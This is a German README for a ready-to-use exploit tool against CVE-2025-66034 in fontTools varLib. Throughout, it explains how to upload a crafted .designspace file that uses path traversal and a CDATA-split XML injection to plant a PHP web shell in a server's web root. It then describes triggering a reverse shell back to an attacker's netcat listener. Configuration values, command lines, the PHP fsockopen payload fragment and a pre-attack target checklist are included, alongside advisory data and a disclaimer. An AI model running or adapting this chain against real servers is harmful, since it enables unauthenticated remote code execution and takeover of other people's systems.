
Automatisierter Exploit für CVE-2025-66034, der Pfad-Traversal und XML-Injection in fontTools varLib verkettet, um eine nicht authentifizierte Remotecodeausführung durch Hochladen einer präparierten .designspace-Datei zu erreichen.
fontTools varLib – Beliebiges Dateischreiben + XML-Injection → Remote-Codeausführung
CVE-2025-66034 ist eine Schwachstelle in der fontTools.varLib-Pipeline zur Generierung variabler Schriftarten. Wenn eine Webanwendung diese Pipeline bereitstellt und benutzergelieferte .designspace-Dateien akzeptiert, verketten sich zwei Schwachstellen zu einer nicht authentifizierten Remote-Codeausführung.
font_varlib.py automatisiert die gesamte Exploit-Kette – Schrifterzeugung, Payload-Erstellung, Upload und Reverse-Shell-Übergabe.
Angreifer erstellt bösartige .designspace
│
├── <variable-font filename="/var/www/html/files/shell.php">
│ └── PFAD-TRAVERSAL
│ os.path.join(output_dir, absolute_path)
│ → output_dir verworfen → Schreiben in Web-Root
│
└── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
└── XML-INJECTION
CDATA-Split bettet rohes PHP
in die Ausgabeschrift-Binärdatei ein
│
▼
fontTools.varLib.main() verarbeitet Datei serverseitig
│
▼
shell.php wird in ein webfähiges Verzeichnis geschrieben
│
▼
GET /files/shell.php → PHP wird ausgeführt → Reverse-Shell-Callback
│
▼
RCE als www-data
Python: 3.9+
Abhängigkeiten:
pip install fonttools requests
System:
nc (netcat) – erforderlich für den automatischen Listener-Modus (mit --no-listen überspringen)
git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests
Öffnen Sie vor dem Ausführen font_varlib.py und aktualisieren Sie den Konfigurationsblock am Anfang der Datei, sodass er Ihrem Ziel entspricht. Jeder Wert enthält einen Inline-Kommentar, der erklärt, was es ist und wie der korrekte Wert gefunden wird.
# ══════════════════════════════════════════════════════════════════════════════
# STANDARDWERTE
# Ändern Sie diese, damit sie vor dem Ausführen Ihrem Ziel entsprechen.
# Alle Werte können zur Laufzeit auch über CLI-Flags überschrieben werden – siehe --help.
# ══════════════════════════════════════════════════════════════════════════════
# Basis-URL des Upload-Hosts (der Site, die die .designspace akzeptiert)
UPLOAD_HOST = "http://test.com"
# Pfad auf dem Upload-Host, der den Multipart-Form-POST verarbeitet
# Mit Burp bestätigen – nach dem POST nach dem Klick auf den Generate-Button suchen
UPLOAD_ENDPOINT = "/tools/variable-font-generator/process"
# Absoluter Dateisystempfad auf dem Server, in den Ausgabedateien geschrieben werden
# Muss via HTTP erreichbar sein, damit die Shell über HTTP ausgelöst werden kann
WEBROOT = "/var/www/test.com/public/files"
# Basis-URL, um die geschriebene Shell-Datei abzurufen/auszulösen
# Entspricht WEBROOT auf der Festplatte
SHELL_HOST = "http://testing.test.com/files"
# Multipart-Formularfeldnamen – vor dem Ausführen mit Burp bestätigen
# Wenn der Upload stillschweigend fehlschlägt (HTTP 200, aber keine Shell), sind falsche Feldnamen die Ursache
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS = "masters"
# Shell-Dateinamen-Präfix – zufälliger Suffix wird zur Laufzeit angehängt
SHELL_PREFIX = "f0nt_"
# Länge des zufälligen Suffix – länger = schwerer zu erraten
SHELL_SUFFIX_LEN = 8
Tipp: Fangen Sie eine legitime Upload-Anfrage in Burp Suite ab, um
UPLOAD_ENDPOINTund die exakten Multipart-Feldnamen vor dem Ausführen zu bestätigen. Eine Nichtübereinstimmung der Feldnamen führt zu einem stillen Fehlschlag – der Server gibt HTTP 200 zurück, aber es wird keine Shell geschrieben.
python3 font_varlib.py --ip <ANGREIFER_IP> --port <PORT>
# Terminal 1 – Listener starten
nc -lvnp 4444
# Terminal 2 – Exploit ohne automatischen Listener ausführen
python3 font_varlib.py --ip <ANGREIFER_IP> --port 4444 --no-listen
python3 font_varlib.py \
--ip 10.10.14.5 \
--port 4444 \
--upload http://target.htb/tools/variable-font-generator/process \
--webroot /var/www/html/files \
--shell http://target.htb/files
Zwei minimale, aber strukturell gültige .ttf-Quelldateien werden programmatisch mit fontTools.FontBuilder erzeugt. varLib benötigt mindestens zwei Achsen-Master, um eine variable Schrift zu verarbeiten – diese erfüllen diese Anforderung, ohne dass echte Schriftdateien auf der Festplatte vorhanden sein müssen.
Eine bösartige .designspace-XML-Datei wird erstellt, die beide Angriffsprimitive einbettet:
Primitive 1 – XML-Injection via CDATA-Split:
<labelname xml:lang="en">
<![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>
Die Sequenz ]]]]><![CDATA[> beendet den aktuellen CDATA-Block und öffnet sofort einen neuen. Der XML-Parser verarbeitet dies als gültiges Markup, aber varLib serialisiert den Inhalt wörtlich in die Ausgabedatei – rohes PHP wird in die Schrift-Binärdatei eingebettet.
Primitive 2 – Pfad-Traversal via filename-Attribut:
<variable-font name="MaliciousFont" filename="/var/www/html/files/shell.php">
varLib konstruiert den Ausgabepfad als:
output_path = os.path.join(output_dir, filename)
Wenn filename ein absoluter Pfad ist, verwirft Pythons os.path.join() das output_dir vollständig. In betroffenen Versionen gibt es keine Bereinigung.
Die .designspace- und beide .ttf-Dateien werden als Multipart-POST an den Schriftgenerierungs-Endpunkt des Ziels gesendet, wobei die aus Burp bestätigten Feldnamen verwendet werden.
Ein HTTP-GET auf die geschriebene .php-Datei führt die Reverse-Shell aus, die sich über fsockopen + proc_open zurück zum nc-Listener des Angreifers verbindet – kein curl, wget oder Python auf dem Ziel erforderlich.
fontTools/varLib/__init__.py (betroffene Versionen):
filename = vf.filename # angreifergesteuert, unbereinigt
output_path = os.path.join(output_dir, filename) # Pfad-Traversal via absolutem Pfad
vf.save(output_path) # beliebiges Dateischreiben
Patch in 4.60.2 – erzwingt os.path.basename() auf filename vor der Konstruktion von output_path, wodurch alle Pfad-Traversal-Sequenzen entfernt werden.
Überprüfen Sie vor dem Ausführen alle folgenden Punkte:
[ ] fonttools-Version auf dem Ziel ist >= 4.33.0 und < 4.60.2
[ ] Ziel akzeptiert .designspace + .ttf Datei-Uploads
[ ] Backend ruft fontTools.varLib.main() auf der hochgeladenen .designspace auf
[ ] Upload-Formularfeldnamen mit Burp bestätigt (designspace + masters)
[ ] WEBROOT ist von außen via HTTP erreichbar
[ ] WEBROOT ist durch den Webprozess beschreibbar (www-data oder äquivalent)
[ ] SHELL_HOST (--shell) ist von Ihrem Rechner aus erreichbar
[ ] Ziel-Hostname ist in /etc/hosts eingetragen
| Umgebung | fonttools-Version | Ergebnis |
|---|---|---|
| Ubuntu 22.04 / Python 3.11 | 4.59.0 | ✓ Bestätigt |
Dieses Tool wird ausschließlich zu Bildungszwecken und für autorisierte Sicherheitsforschung bereitgestellt.
Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben. Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch diese Software verursacht werden.
| Feld | Detail |
|---|
| CVE-ID | CVE-2025-66034 |
| GHSA | GHSA-768j-98cg-p3fv |
| Paket | fonttools (pip) |
| Betroffener Bereich | >= 4.33.0, < 4.60.2 |
| Behoben in | 4.60.2 |
| Schweregrad | Mittel (CVSS 6.3) |
| Angriffsvektor | Lokal (erfordert Datei-Upload auf das Ziel) |
| Erforderliche Berechtigungen | Keine |
| Benutzerinteraktion | Erforderlich (Upload-Auslöser) |
| # | Primitive | CWE | Grundursache |
|---|
| 1 | Pfad-Traversal | CWE-22 | Das filename-Attribut in .designspace wird ohne Bereinigung direkt an os.path.join() übergeben – absolute Pfade verwerfen das vorgesehene Ausgabeverzeichnis vollständig. |
| 2 | XML-Injection | CWE-91 | <labelname>-CDATA-Abschnitte erlauben eine Split-Sequenz (]]]]><![CDATA[>), um rohes PHP am XML-Parser vorbei in die geschriebene Ausgabedatei zu schleusen. |
| Argument | Erforderlich | Standard | Beschreibung |
|---|
--ip | ✓ | – | IP des Angreifer-Listeners |
--port | ✓ | – | Port des Angreifer-Listeners |
--upload | UPLOAD_HOST + UPLOAD_ENDPOINT | Upload-Endpunkt (POST) | |
--webroot | WEBROOT | Serverseitiger Dateisystem-Schreibpfad (muss webfähig sein) | |
--shell | SHELL_HOST | Basis-URL, um die geschriebene Shell auszulösen | |
--no-listen | false | Automatischen nc-Listener überspringen – nur auslösen |
| Ressource | Link |
|---|
| NVD – CVE-2025-66034 | https://nvd.nist.gov/vuln/detail/CVE-2025-66034 |
| fontTools Security Advisory | https://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv |
| Patch-Commit – a696d5b | https://github.com/fonttools/fonttools/commit/a696d5ba93270d5954f98e7cab5ddca8a02c1e32 |
| fontTools-Projekt | https://github.com/fonttools/fonttools |